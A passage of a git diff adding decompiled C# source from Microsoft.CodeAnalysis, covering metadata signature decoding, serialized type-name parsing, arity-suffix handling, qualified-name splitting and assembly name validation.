= (signatureHeader.IsGeneric ? signatureReader.ReadCompressedInteger() : 0); + parameterCount = signatureReader.ReadCompressedInteger(); + } + + internal FieldInfo DecodeFieldSignature(FieldDefinitionHandle fieldHandle) + { + try + { + BlobHandle fieldSignatureOrThrow = Module.GetFieldSignatureOrThrow(fieldHandle); + SignatureHeader signatureHeader; + BlobReader signatureReader = DecodeSignatureHeaderOrThrow(fieldSignatureOrThrow, out signatureHeader); + if (signatureHeader.Kind != SignatureKind.Field) + { + return new FieldInfo(GetUnsupportedMetadataTypeSymbol()); + } + return DecodeFieldSignature(ref signatureReader); + } + catch (BadImageFormatException exception) + { + return new FieldInfo(GetUnsupportedMetadataTypeSymbol(exception)); + } + } + + protected FieldInfo DecodeFieldSignature(ref BlobReader signatureReader) + { + try + { + bool isByRef = false; + ImmutableArray> refCustomModifiers = default(ImmutableArray>); + SignatureTypeCode typeCode; + ImmutableArray> immutableArray = DecodeModifiersOrThrow(ref signatureReader, out typeCode); + if (typeCode == SignatureTypeCode.ByReference) + { + isByRef = true; + refCustomModifiers = immutableArray; + immutableArray = DecodeModifiersOrThrow(ref signatureReader, out typeCode); + } + bool refersToNoPiaLocalType; + TypeSymbol type = DecodeTypeOrThrow(ref signatureReader, typeCode, out refersToNoPiaLocalType); + return new FieldInfo(isByRef, refCustomModifiers, type, immutableArray); + } + catch (UnsupportedSignatureContent) + { + return new FieldInfo(GetUnsupportedMetadataTypeSymbol()); + } + catch (BadImageFormatException exception) + { + return new FieldInfo(GetUnsupportedMetadataTypeSymbol(exception)); + } + } + + internal ImmutableArray GetExplicitlyOverriddenMethods(TypeDefinitionHandle implementingTypeDef, MethodDefinitionHandle implementingMethodDef, TypeSymbol implementingTypeSymbol) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + foreach (MethodImplementationHandle item in Module.GetMethodImplementationsOrThrow(implementingTypeDef)) + { + Module.GetMethodImplPropsOrThrow(item, out var body, out var declaration); + if (body.Kind == HandleKind.MemberReference) + { + MethodSymbol methodSymbolForMemberRef = GetMethodSymbolForMemberRef((MemberReferenceHandle)body, implementingTypeSymbol); + if (methodSymbolForMemberRef != null) + { + body = GetMethodHandle(methodSymbolForMemberRef); + } + } + if (body == implementingMethodDef && !declaration.IsNil) + { + HandleKind kind = declaration.Kind; + MethodSymbol val = null; + switch (kind) + { + case HandleKind.MethodDefinition: + val = FindMethodSymbolInSuperType(implementingTypeDef, (MethodDefinitionHandle)declaration); + break; + case HandleKind.MemberReference: + val = GetMethodSymbolForMemberRef((MemberReferenceHandle)declaration, implementingTypeSymbol); + break; + } + if (val != null) + { + instance.Add(val); + } + } + } + } + catch (BadImageFormatException) + { + } + return instance.ToImmutableAndFree(); + } + + private MethodSymbol FindMethodSymbolInSuperType(TypeDefinitionHandle searchTypeDef, MethodDefinitionHandle targetMethodDef) + { + try + { + Queue queue = new Queue(); + Queue queue2 = new Queue(); + EnqueueTypeDefInterfacesAndBaseTypeOrThrow(queue, queue2, searchTypeDef); + HashSet hashSet = new HashSet(); + HashSet hashSet2 = new HashSet(); + bool flag; + while ((flag = queue.Count > 0) || queue2.Count > 0) + { + if (flag) + { + TypeDefinitionHandle typeDefinitionHandle = queue.Dequeue(); + if (!hashSet.Add(typeDefinitionHandle)) + { + continue; + } + foreach (MethodDefinitionHandle item in Module.GetMethodsOfTypeOrThrow(typeDefinitionHandle)) + { + if (item == targetMethodDef) + { + TypeSymbol typeOfToken = GetTypeOfToken(typeDefinitionHandle); + return FindMethodSymbolInType(typeOfToken, targetMethodDef); + } + } + EnqueueTypeDefInterfacesAndBaseTypeOrThrow(queue, queue2, typeDefinitionHandle); + } + else + { + TypeSymbol val = queue2.Dequeue(); + if (hashSet2.Add(val)) + { + EnqueueTypeSymbolInterfacesAndBaseTypes(queue, queue2, val); + } + } + } + } + catch (BadImageFormatException) + { + } + return null; + } + + private void EnqueueTypeDefInterfacesAndBaseTypeOrThrow(Queue typeDefsToSearch, Queue typeSymbolsToSearch, TypeDefinitionHandle searchTypeDef) + { + foreach (InterfaceImplementationHandle item in Module.GetInterfaceImplementationsOrThrow(searchTypeDef)) + { + EnqueueTypeToken(typeDefsToSearch, typeSymbolsToSearch, Module.MetadataReader.GetInterfaceImplementation(item).Interface); + } + EnqueueTypeToken(typeDefsToSearch, typeSymbolsToSearch, Module.GetBaseTypeOfTypeOrThrow(searchTypeDef)); + } + + private void EnqueueTypeToken(Queue typeDefsToSearch, Queue typeSymbolsToSearch, EntityHandle typeToken) + { + if (!typeToken.IsNil) + { + if (typeToken.Kind == HandleKind.TypeDefinition) + { + typeDefsToSearch.Enqueue((TypeDefinitionHandle)typeToken); + } + else + { + EnqueueTypeSymbol(typeDefsToSearch, typeSymbolsToSearch, GetTypeOfToken(typeToken)); + } + } + } + + protected abstract void EnqueueTypeSymbolInterfacesAndBaseTypes(Queue typeDefsToSearch, Queue typeSymbolsToSearch, TypeSymbol typeSymbol); + + protected abstract void EnqueueTypeSymbol(Queue typeDefsToSearch, Queue typeSymbolsToSearch, TypeSymbol typeSymbol); + + protected abstract MethodSymbol FindMethodSymbolInType(TypeSymbol type, MethodDefinitionHandle methodDef); + + protected abstract FieldSymbol FindFieldSymbolInType(TypeSymbol type, FieldDefinitionHandle fieldDef); + + internal abstract Symbol GetSymbolForMemberRef(MemberReferenceHandle memberRef, TypeSymbol implementingTypeSymbol = null, bool methodsOnly = false); + + internal MethodSymbol GetMethodSymbolForMemberRef(MemberReferenceHandle methodRef, TypeSymbol implementingTypeSymbol) + { + return (MethodSymbol)(object)GetSymbolForMemberRef(methodRef, implementingTypeSymbol, methodsOnly: true); + } + + internal FieldSymbol GetFieldSymbolForMemberRef(MemberReferenceHandle methodRef, TypeSymbol implementingTypeSymbol) + { + return (FieldSymbol)(object)GetSymbolForMemberRef(methodRef, implementingTypeSymbol, methodsOnly: true); + } + + protected override bool IsContainingAssembly(AssemblyIdentity identity) + { + if (_containingAssemblyIdentity != null) + { + return _containingAssemblyIdentity.Equals(identity); + } + return false; + } + + protected abstract MethodDefinitionHandle GetMethodHandle(MethodSymbol method); + + protected abstract ConcurrentDictionary GetTypeHandleToTypeMap(); + + protected abstract ConcurrentDictionary GetTypeRefHandleToTypeMap(); + + protected abstract TypeSymbol SubstituteNoPiaLocalType(TypeDefinitionHandle typeDef, ref MetadataTypeName name, string interfaceGuid, string scope, string identifier); + + protected abstract TypeSymbol LookupTopLevelTypeDefSymbol(string moduleName, ref MetadataTypeName emittedName, out bool isNoPiaLocalType); + + protected abstract TypeSymbol GetGenericTypeParamSymbol(int position); + + protected abstract TypeSymbol GetGenericMethodTypeParamSymbol(int position); + + private static TypedConstant CreateArrayTypedConstant(TypeSymbol type, ImmutableArray array) + { + if (type.TypeKind == TypeKind.Error) + { + return new TypedConstant(type, TypedConstantKind.Error, null); + } + return new TypedConstant(type, array); + } + + private static TypedConstant CreateTypedConstant(TypeSymbol type, TypedConstantKind kind, object value) + { + if (type.TypeKind == TypeKind.Error) + { + return new TypedConstant(type, TypedConstantKind.Error, null); + } + return new TypedConstant(type, kind, value); + } + + private static TypedConstant CreateTypedConstant(TypeSymbol type, TypedConstantKind kind, bool value) + { + return CreateTypedConstant(type, kind, Boxes.Box(value)); + } + + internal Symbol GetSymbolForILToken(EntityHandle token) + { + try + { + switch (token.Kind) + { + case HandleKind.TypeReference: + case HandleKind.TypeDefinition: + case HandleKind.TypeSpecification: + return (Symbol)(object)GetTypeOfToken(token); + case HandleKind.MethodDefinition: + { + TypeDefinitionHandle typeDef = Module.FindContainingTypeOrThrow((MethodDefinitionHandle)token); + if (typeDef.IsNil) + { + return null; + } + TypeSymbol typeOfTypeDef = GetTypeOfTypeDef(typeDef); + if (typeOfTypeDef == null) + { + return null; + } + return (Symbol)(object)GetMethodSymbolForMethodDefOrMemberRef(token, typeOfTypeDef); + } + case HandleKind.FieldDefinition: + { + TypeDefinitionHandle typeDefinitionHandle = Module.FindContainingTypeOrThrow((FieldDefinitionHandle)token); + if (typeDefinitionHandle.IsNil) + { + return null; + } + TypeSymbol typeOfToken = GetTypeOfToken(typeDefinitionHandle); + if (typeOfToken == null) + { + return null; + } + return (Symbol)(object)GetFieldSymbolForFieldDefOrMemberRef(token, typeOfToken); + } + case HandleKind.MethodSpecification: + { + Module.GetMethodSpecificationOrThrow((MethodSpecificationHandle)token, out var method, out var instantiation); + MethodSymbol val = (MethodSymbol)(object)GetSymbolForILToken(method); + if (val == null) + { + return null; + } + TypeSymbol[] array = DecodeMethodSpecTypeArgumentsOrThrow(instantiation); + ITypeSymbolInternal[] typeArguments = array; + return (Symbol)(object)(MethodSymbol)val.Construct(typeArguments); + } + case HandleKind.MemberReference: + return GetSymbolForMemberRef((MemberReferenceHandle)token); + } + } + catch (BadImageFormatException) + { + } + return null; + } + + internal TypeSymbol GetMemberRefTypeSymbol(MemberReferenceHandle memberRef) + { + try + { + EntityHandle containingTypeOrThrow = Module.GetContainingTypeOrThrow(memberRef); + HandleKind kind = containingTypeOrThrow.Kind; + if (kind != HandleKind.TypeDefinition && kind != HandleKind.TypeReference && kind != HandleKind.TypeSpecification) + { + return null; + } + return GetTypeOfToken(containingTypeOrThrow); + } + catch (BadImageFormatException) + { + return null; + } + } + + internal MethodSymbol GetMethodSymbolForMethodDefOrMemberRef(EntityHandle memberToken, TypeSymbol container) + { + if (memberToken.Kind != HandleKind.MethodDefinition) + { + return GetMethodSymbolForMemberRef((MemberReferenceHandle)memberToken, container); + } + return FindMethodSymbolInType(container, (MethodDefinitionHandle)memberToken); + } + + internal FieldSymbol GetFieldSymbolForFieldDefOrMemberRef(EntityHandle memberToken, TypeSymbol container) + { + if (memberToken.Kind != HandleKind.FieldDefinition) + { + return GetFieldSymbolForMemberRef((MemberReferenceHandle)memberToken, container); + } + return FindFieldSymbolInType(container, (FieldDefinitionHandle)memberToken); + } + + internal bool DoPropertySignaturesMatch(ParamInfo[] signature1, ParamInfo[] signature2, bool comparingToSetter, bool compareParamByRef, bool compareReturnType) + { + int num = (comparingToSetter ? 1 : 0); + if (signature2.Length - num != signature1.Length) + { + return false; + } + if (comparingToSetter && GetPrimitiveTypeCode(signature2[0].Type) != Microsoft.Cci.PrimitiveTypeCode.Void) + { + return false; + } + for (int i = ((!compareReturnType) ? 1 : 0); i < signature1.Length; i++) + { + int num2 = ((i == 0 && comparingToSetter) ? signature1.Length : i); + ParamInfo paramInfo = signature1[i]; + ParamInfo paramInfo2 = signature2[num2]; + if (compareParamByRef && paramInfo2.IsByRef != paramInfo.IsByRef) + { + return false; + } + if (!((ISymbolInternal)paramInfo2.Type).Equals((ISymbolInternal?)paramInfo.Type, TypeCompareKind.ConsiderEverything)) + { + return false; + } + } + return true; + } + + internal bool DoesSignatureMatchEvent(TypeSymbol eventType, ParamInfo[] methodParams) + { + if (methodParams.Length != 2) + { + return false; + } + if (GetPrimitiveTypeCode(methodParams[0].Type) != Microsoft.Cci.PrimitiveTypeCode.Void) + { + return false; + } + ParamInfo paramInfo = methodParams[1]; + if (!paramInfo.IsByRef) + { + return paramInfo.Type.Equals(eventType); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataHelpers.cs new file mode 100644 index 0000000..1dcb009 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataHelpers.cs @@ -0,0 +1,746 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Reflection.Metadata; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class MetadataHelpers +{ + internal readonly struct AssemblyQualifiedTypeName + { + internal readonly string TopLevelType; + + internal readonly string[] NestedTypes; + + internal readonly AssemblyQualifiedTypeName[] TypeArguments; + + internal readonly int PointerCount; + + internal readonly int[] ArrayRanks; + + internal readonly string AssemblyName; + + internal AssemblyQualifiedTypeName(string topLevelType, string[] nestedTypes, AssemblyQualifiedTypeName[] typeArguments, int pointerCount, int[] arrayRanks, string assemblyName) + { + TopLevelType = topLevelType; + NestedTypes = nestedTypes; + TypeArguments = typeArguments; + PointerCount = pointerCount; + ArrayRanks = arrayRanks; + AssemblyName = assemblyName; + } + } + + private struct SerializedTypeDecoder + { + private static readonly char[] s_typeNameDelimiters = new char[5] { '+', ',', '[', ']', '*' }; + + private readonly string _input; + + private int _offset; + + private bool EndOfInput => _offset >= _input.Length; + + private char Current => _input[_offset]; + + internal SerializedTypeDecoder(string s) + { + _input = s; + _offset = 0; + } + + private void Advance() + { + if (!EndOfInput) + { + _offset++; + } + } + + private void AdvanceTo(int i) + { + if (i <= _input.Length) + { + _offset = i; + } + } + + internal AssemblyQualifiedTypeName DecodeTypeName(bool isTypeArgument = false, bool isTypeArgumentWithAssemblyName = false) + { + string topLevelType = null; + ArrayBuilder nestedTypesBuilder = null; + AssemblyQualifiedTypeName[] array = null; + int num = 0; + ArrayBuilder arrayRanksBuilder = null; + string assemblyName = null; + bool decodingTopLevelType = true; + bool flag = false; + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + while (!EndOfInput) + { + int num2 = _input.IndexOfAny(s_typeNameDelimiters, _offset); + if (num2 >= 0) + { + char c = _input[num2]; + string text = DecodeGenericName(num2); + flag = flag || text.IndexOf('`') >= 0; + builder.Append(text); + switch (c) + { + case '*': + if (arrayRanksBuilder != null) + { + builder.Append(c); + } + else + { + num++; + } + Advance(); + continue; + case '+': + if (arrayRanksBuilder != null || num > 0) + { + builder.Append(c); + } + else + { + HandleDecodedTypeName(builder.ToString(), decodingTopLevelType, ref topLevelType, ref nestedTypesBuilder); + builder.Clear(); + decodingTopLevelType = false; + } + Advance(); + continue; + case '[': + if (flag && array == null) + { + Advance(); + if (arrayRanksBuilder != null || num > 0) + { + builder.Append(c); + } + else + { + array = DecodeTypeArguments(); + } + } + else + { + DecodeArrayShape(builder, ref arrayRanksBuilder); + } + continue; + case ']': + if (!isTypeArgument) + { + builder.Append(c); + Advance(); + continue; + } + break; + case ',': + if (!isTypeArgument || isTypeArgumentWithAssemblyName) + { + Advance(); + if (!EndOfInput && char.IsWhiteSpace(Current)) + { + Advance(); + } + assemblyName = DecodeAssemblyName(isTypeArgumentWithAssemblyName); + } + break; + default: + throw ExceptionUtilities.UnexpectedValue(c); + } + } + else + { + builder.Append(DecodeGenericName(_input.Length)); + } + break; + } + HandleDecodedTypeName(builder.ToString(), decodingTopLevelType, ref topLevelType, ref nestedTypesBuilder); + instance.Free(); + return new AssemblyQualifiedTypeName(topLevelType, nestedTypesBuilder?.ToArrayAndFree(), array, num, arrayRanksBuilder?.ToArrayAndFree(), assemblyName); + } + + private static void HandleDecodedTypeName(string decodedTypeName, bool decodingTopLevelType, ref string topLevelType, ref ArrayBuilder nestedTypesBuilder) + { + if (decodedTypeName.Length == 0) + { + return; + } + if (decodingTopLevelType) + { + topLevelType = decodedTypeName; + return; + } + if (nestedTypesBuilder == null) + { + nestedTypesBuilder = ArrayBuilder.GetInstance(); + } + nestedTypesBuilder.Add(decodedTypeName); + } + + private string DecodeGenericName(int i) + { + if (i - _offset == 0) + { + return string.Empty; + } + int offset = _offset; + AdvanceTo(i); + return _input.Substring(offset, _offset - offset); + } + + private AssemblyQualifiedTypeName[] DecodeTypeArguments() + { + if (EndOfInput) + { + return null; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + while (!EndOfInput) + { + instance.Add(DecodeTypeArgument()); + if (EndOfInput) + { + continue; + } + switch (Current) + { + case ',': + Advance(); + if (!EndOfInput && char.IsWhiteSpace(Current)) + { + Advance(); + } + break; + case ']': + Advance(); + return instance.ToArrayAndFree(); + default: + throw ExceptionUtilities.UnexpectedValue(EndOfInput); + } + } + return instance.ToArrayAndFree(); + } + + private AssemblyQualifiedTypeName DecodeTypeArgument() + { + bool flag = false; + if (Current == '[') + { + flag = true; + Advance(); + } + AssemblyQualifiedTypeName result = DecodeTypeName(isTypeArgument: true, flag); + if (flag && !EndOfInput && Current == ']') + { + Advance(); + } + return result; + } + + private string DecodeAssemblyName(bool isTypeArgumentWithAssemblyName) + { + if (EndOfInput) + { + return null; + } + int num; + if (isTypeArgumentWithAssemblyName) + { + num = _input.IndexOf(']', _offset); + if (num < 0) + { + num = _input.Length; + } + } + else + { + num = _input.Length; + } + string result = _input.Substring(_offset, num - _offset); + AdvanceTo(num); + return result; + } + + private void DecodeArrayShape(StringBuilder typeNameBuilder, ref ArrayBuilder arrayRanksBuilder) + { + int offset = _offset; + int num = 1; + bool flag = false; + Advance(); + while (!EndOfInput) + { + switch (Current) + { + case ',': + num++; + Advance(); + continue; + case ']': + if (arrayRanksBuilder == null) + { + arrayRanksBuilder = ArrayBuilder.GetInstance(); + } + arrayRanksBuilder.Add((num != 1 || flag) ? num : 0); + Advance(); + return; + case '*': + if (num == 1) + { + Advance(); + if (Current != ']') + { + typeNameBuilder.Append(_input.Substring(offset, _offset - offset)); + return; + } + flag = true; + continue; + } + break; + } + Advance(); + typeNameBuilder.Append(_input.Substring(offset, _offset - offset)); + return; + } + typeNameBuilder.Append(_input.Substring(offset, _offset - offset)); + } + } + + public const char DotDelimiter = '.'; + + public const string DotDelimiterString = "."; + + public const char GenericTypeNameManglingChar = '`'; + + private const string GenericTypeNameManglingString = "`"; + + public const int MaxStringLengthForParamSize = 22; + + public const int MaxStringLengthForIntToStringConversion = 22; + + public const string SystemString = "System"; + + public const char MangledNameRegionStartChar = '<'; + + public const char MangledNameRegionEndChar = '>'; + + private static readonly string[] s_aritySuffixesOneToNine = new string[9] { "`1", "`2", "`3", "`4", "`5", "`6", "`7", "`8", "`9" }; + + private static readonly ImmutableArray s_splitQualifiedNameSystem = ImmutableArray.Create("System"); + + private static readonly ImmutableArray> s_splitQualifiedNameSystemMemory = ImmutableArray.Create("System".AsMemory()); + + internal static AssemblyQualifiedTypeName DecodeTypeName(string s) + { + return new SerializedTypeDecoder(s).DecodeTypeName(); + } + + internal static string GetAritySuffix(int arity) + { + if (arity > 9) + { + return "`" + arity.ToString(CultureInfo.InvariantCulture); + } + return s_aritySuffixesOneToNine[arity - 1]; + } + + internal static string ComposeAritySuffixedMetadataName(string name, int arity, string? associatedFileIdentifier) + { + return associatedFileIdentifier + ((arity == 0) ? name : (name + GetAritySuffix(arity))); + } + + internal static int InferTypeArityFromMetadataName(string emittedTypeName) + { + int suffixStartsAt; + return InferTypeArityFromMetadataName(emittedTypeName.AsSpan(), out suffixStartsAt); + } + + private static short InferTypeArityFromMetadataName(ReadOnlySpan emittedTypeName, out int suffixStartsAt) + { + int length = emittedTypeName.Length; + int num = length; + while (num >= 1 && emittedTypeName[num - 1] != '`') + { + num--; + } + if (num < 2 || length - num == 0 || length - num > 22) + { + suffixStartsAt = -1; + return 0; + } + int num2 = num; + short? num3 = tryScanArity(emittedTypeName.Slice(num2, emittedTypeName.Length - num2)); + if (num3.HasValue) + { + short valueOrDefault = num3.GetValueOrDefault(); + suffixStartsAt = num - 1; + return valueOrDefault; + } + suffixStartsAt = -1; + return 0; + static short? tryScanArity(ReadOnlySpan aritySpan) + { + int length2 = aritySpan.Length; + if (length2 >= 1 && length2 <= 5 && aritySpan[0] != '0') + { + int num4 = 0; + ReadOnlySpan readOnlySpan = aritySpan; + for (length2 = 0; length2 < readOnlySpan.Length; length2++) + { + char c = readOnlySpan[length2]; + if ((c < '0' || c > '9') ? true : false) + { + return null; + } + num4 = num4 * 10 + (c - 48); + } + if (num4 <= 32767) + { + return (short)num4; + } + } + return null; + } + } + + internal static string InferTypeArityAndUnmangleMetadataName(string emittedTypeName, out short arity) + { + return InferTypeArityAndUnmangleMetadataName(emittedTypeName.AsMemory(), out arity).ToString(); + } + + internal static ReadOnlyMemory InferTypeArityAndUnmangleMetadataName(ReadOnlyMemory emittedTypeName, out short arity) + { + arity = InferTypeArityFromMetadataName(emittedTypeName.Span, out var suffixStartsAt); + if (arity == 0) + { + return emittedTypeName; + } + return emittedTypeName.Slice(0, suffixStartsAt); + } + + internal static string UnmangleMetadataNameForArity(string emittedTypeName, int arity) + { + if (arity == InferTypeArityFromMetadataName(emittedTypeName.AsSpan(), out var suffixStartsAt)) + { + return emittedTypeName.Substring(0, suffixStartsAt); + } + return emittedTypeName; + } + + internal static ImmutableArray SplitQualifiedName(string name) + { + return SplitQualifiedNameWorker(name.AsMemory(), s_splitQualifiedNameSystem, (ReadOnlyMemory memory) => memory.ToString()); + } + + internal static ImmutableArray> SplitQualifiedName(ReadOnlyMemory name) + { + return SplitQualifiedNameWorker(name, s_splitQualifiedNameSystemMemory, (ReadOnlyMemory memory) => memory); + } + + internal static ImmutableArray SplitQualifiedNameWorker(ReadOnlyMemory nameMemory, ImmutableArray splitSystemString, Func, T> convert) + { + if (nameMemory.Length == 0) + { + return ImmutableArray.Empty; + } + int num = 0; + ReadOnlySpan span = nameMemory.Span; + ReadOnlySpan readOnlySpan = span; + int i; + for (i = 0; i < readOnlySpan.Length; i++) + { + if (readOnlySpan[i] == '.') + { + num++; + } + } + if (num == 0) + { + if (!nameMemory.Span.SequenceEqual("System".AsSpan())) + { + return ImmutableArray.Create(convert(nameMemory)); + } + return splitSystemString; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(num + 1); + int num2 = 0; + int num3 = 0; + while (num > 0) + { + if (span[num3] == '.') + { + int num4 = num3 - num2; + if (num4 == 6 && num2 == 0 && span.StartsWith("System".AsSpan(), StringComparison.Ordinal)) + { + instance.Add(convert("System".AsMemory())); + } + else + { + instance.Add(convert(nameMemory.Slice(num2, num4))); + } + num--; + num2 = num3 + 1; + } + num3++; + } + i = num2; + instance.Add(convert(nameMemory.Slice(i, nameMemory.Length - i))); + return instance.ToImmutableAndFree(); + } + + internal static string SplitQualifiedName(string pstrName, out string qualifier) + { + ReadOnlyMemory qualifier2; + ReadOnlyMemory readOnlyMemory = SplitQualifiedName(pstrName, out qualifier2); + qualifier = qualifier2.ToString(); + return readOnlyMemory.ToString(); + } + + internal static ReadOnlyMemory SplitQualifiedName(string pstrName, out ReadOnlyMemory qualifier) + { + int num = 0; + int num2 = -1; + for (int i = 0; i < pstrName.Length; i++) + { + switch (pstrName[i]) + { + case '<': + num++; + break; + case '>': + num--; + break; + case '.': + if (num == 0 && (i == 0 || num2 < i - 1)) + { + num2 = i; + } + break; + } + } + if (num2 < 0) + { + qualifier = string.Empty.AsMemory(); + return pstrName.AsMemory(); + } + if (num2 == 6 && pstrName.StartsWith("System", StringComparison.Ordinal)) + { + qualifier = "System".AsMemory(); + } + else + { + qualifier = pstrName.AsMemory().Slice(0, num2); + } + ReadOnlyMemory readOnlyMemory = pstrName.AsMemory(); + int num3 = num2 + 1; + return readOnlyMemory.Slice(num3, readOnlyMemory.Length - num3); + } + + internal static string BuildQualifiedName(string qualifier, string name) + { + if (!string.IsNullOrEmpty(qualifier)) + { + return qualifier + "." + name; + } + return name; + } + + public static void GetInfoForImmediateNamespaceMembers(bool isGlobalNamespace, int namespaceNameLength, IEnumerable> typesByNS, StringComparer nameComparer, out IEnumerable> types, out IEnumerable>>> namespaces) + { + List> list = new List>(); + List>>> list2 = new List>>>(); + bool flag = false; + IEnumerator> enumerator = typesByNS.GetEnumerator(); + using (enumerator) + { + if (enumerator.MoveNext()) + { + IGrouping current = enumerator.Current; + string text = null; + List> list3 = null; + while (true) + { + if (current.Key.Length == namespaceNameLength) + { + list.Add(current); + if (!enumerator.MoveNext()) + { + break; + } + current = enumerator.Current; + continue; + } + if (!isGlobalNamespace) + { + namespaceNameLength++; + } + do + { + current = enumerator.Current; + string text2 = ExtractSimpleNameOfChildNamespace(namespaceNameLength, current.Key); + int num = nameComparer.Compare(text, text2); + if (num == 0) + { + list3.Add(current); + continue; + } + if (num > 0) + { + flag = true; + } + if (list3 != null) + { + list2.Add(new KeyValuePair>>(text, list3)); + } + list3 = new List>(); + text = text2; + list3.Add(current); + } + while (enumerator.MoveNext()); + if (list3 != null) + { + list2.Add(new KeyValuePair>>(text, list3)); + } + break; + } + } + } + types = list; + if (flag) + { + Dictionary dictionary = new Dictionary(list2.Count, nameComparer); + for (int num2 = list2.Count - 1; num2 >= 0; num2--) + { + dictionary[list2[num2].Key] = num2; + } + if (dictionary.Count != list2.Count) + { + for (int i = 1; i < list2.Count; i++) + { + KeyValuePair>> keyValuePair = list2[i]; + int num3 = dictionary[keyValuePair.Key]; + if (num3 != i) + { + KeyValuePair>> keyValuePair2 = list2[num3]; + list2[num3] = KeyValuePairUtil.Create(keyValuePair2.Key, keyValuePair2.Value.Concat(keyValuePair.Value)); + list2[i] = default(KeyValuePair>>); + } + } + list2.RemoveAll((KeyValuePair>> pair) => pair.Key == null); + } + } + namespaces = list2; + } + + private static string ExtractSimpleNameOfChildNamespace(int parentNamespaceNameLength, string fullName) + { + int num = fullName.IndexOf('.', parentNamespaceNameLength); + if (num < 0) + { + return fullName.Substring(parentNamespaceNameLength); + } + return fullName.Substring(parentNamespaceNameLength, num - parentNamespaceNameLength); + } + + internal static bool IsValidMetadataIdentifier(string str) + { + if (!string.IsNullOrEmpty(str) && str.IsValidUnicodeString()) + { + return str.IndexOf('\0') == -1; + } + return false; + } + + internal static bool IsValidUnicodeString(string str) + { + return str?.IsValidUnicodeString() ?? true; + } + + internal static bool IsValidAssemblyOrModuleName(string name) + { + return GetAssemblyOrModuleNameErrorArgumentResourceName(name) == null; + } + + internal static void CheckAssemblyOrModuleName(string name, CommonMessageProvider messageProvider, int code, DiagnosticBag diagnostics) + { + string assemblyOrModuleNameErrorArgumentResourceName = GetAssemblyOrModuleNameErrorArgumentResourceName(name); + if (assemblyOrModuleNameErrorArgumentResourceName != null) + { + diagnostics.Add(messageProvider.CreateDiagnostic(code, Location.None, new CodeAnalysisResourcesLocalizableErrorArgument(assemblyOrModuleNameErrorArgumentResourceName))); + } + } + + internal static void CheckAssemblyOrModuleName(string name, CommonMessageProvider messageProvider, int code, ArrayBuilder builder) + { + string assemblyOrModuleNameErrorArgumentResourceName = GetAssemblyOrModuleNameErrorArgumentResourceName(name); + if (assemblyOrModuleNameErrorArgumentResourceName != null) + { + builder.Add(messageProvider.CreateDiagnostic(code, Location.None, new CodeAnalysisResourcesLocalizableErrorArgument(assemblyOrModuleNameErrorArgumentResourceName))); + } + } + + private static string GetAssemblyOrModuleNameErrorArgumentResourceName(string name) + { + if (name == null) + { + return "NameCannotBeNull"; + } + if (name.Length == 0) + { + return "NameCannotBeEmpty"; + } + if (char.IsWhiteSpace(name[0])) + { + return "NameCannotStartWithWhitespace"; + } + if (!IsValidMetadataFileName(name)) + { + return "NameContainsInvalidCharacter"; + } + return null; + } + + internal static bool IsValidMetadataFileName(string name) + { + if (FileNameUtilities.IsFileName(name)) + { + return IsValidMetadataIdentifier(name); + } + return false; + } + + internal static bool SplitNameEqualsFullyQualifiedName(string namespaceName, string typeName, string fullyQualified) + { + if (fullyQualified.Length == namespaceName.Length + typeName.Length + 1 && fullyQualified[namespaceName.Length] == '.' && fullyQualified.StartsWith(namespaceName, StringComparison.Ordinal)) + { + return fullyQualified.EndsWith(typeName, StringComparison.Ordinal); + } + return false; + } + + internal static bool IsValidPublicKey(ImmutableArray bytes) + { + return CryptoBlobParser.IsValidPublicKey(bytes); + } + + internal static string MangleForTypeNameIfNeeded(string moduleName) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append(moduleName); + builder.Replace("Q", "QQ"); + builder.Replace("_", "Q_"); + builder.Replace('.', '_'); + return instance.ToStringAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataId.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataId.cs new file mode 100644 index 0000000..39470d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataId.cs @@ -0,0 +1,13 @@ +namespace Microsoft.CodeAnalysis; + +public sealed class MetadataId +{ + private MetadataId() + { + } + + internal static MetadataId CreateNewId() + { + return new MetadataId(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImageKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImageKind.cs new file mode 100644 index 0000000..4c6fe09 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImageKind.cs @@ -0,0 +1,7 @@ +namespace Microsoft.CodeAnalysis; + +public enum MetadataImageKind : byte +{ + Assembly, + Module +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImageReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImageReference.cs new file mode 100644 index 0000000..58aaf93 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImageReference.cs @@ -0,0 +1,85 @@ +using System.Diagnostics; +using System.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal sealed class MetadataImageReference : PortableExecutableReference +{ + private readonly string? _display; + + private readonly Metadata _metadata; + + public override string Display + { + get + { + string text = _display; + if (text == null) + { + text = base.FilePath; + if (text == null) + { + if (base.Properties.Kind != MetadataImageKind.Assembly) + { + return CodeAnalysisResources.InMemoryModule; + } + text = CodeAnalysisResources.InMemoryAssembly; + } + } + return text; + } + } + + internal MetadataImageReference(Metadata metadata, 